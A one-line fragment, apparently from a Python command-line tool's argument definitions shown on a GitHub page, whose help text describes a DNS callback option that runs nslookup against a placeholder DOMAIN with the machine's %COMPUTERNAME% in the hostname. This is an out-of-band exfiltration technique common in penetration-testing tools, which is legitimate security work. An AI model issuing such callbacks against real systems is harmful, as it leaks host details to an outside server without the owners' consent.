        help="DNS callback: nslookup <label.>%%COMPUTERNAME%%.DOMAIN",
Showing 500 of 788 lines View full file on GitHub →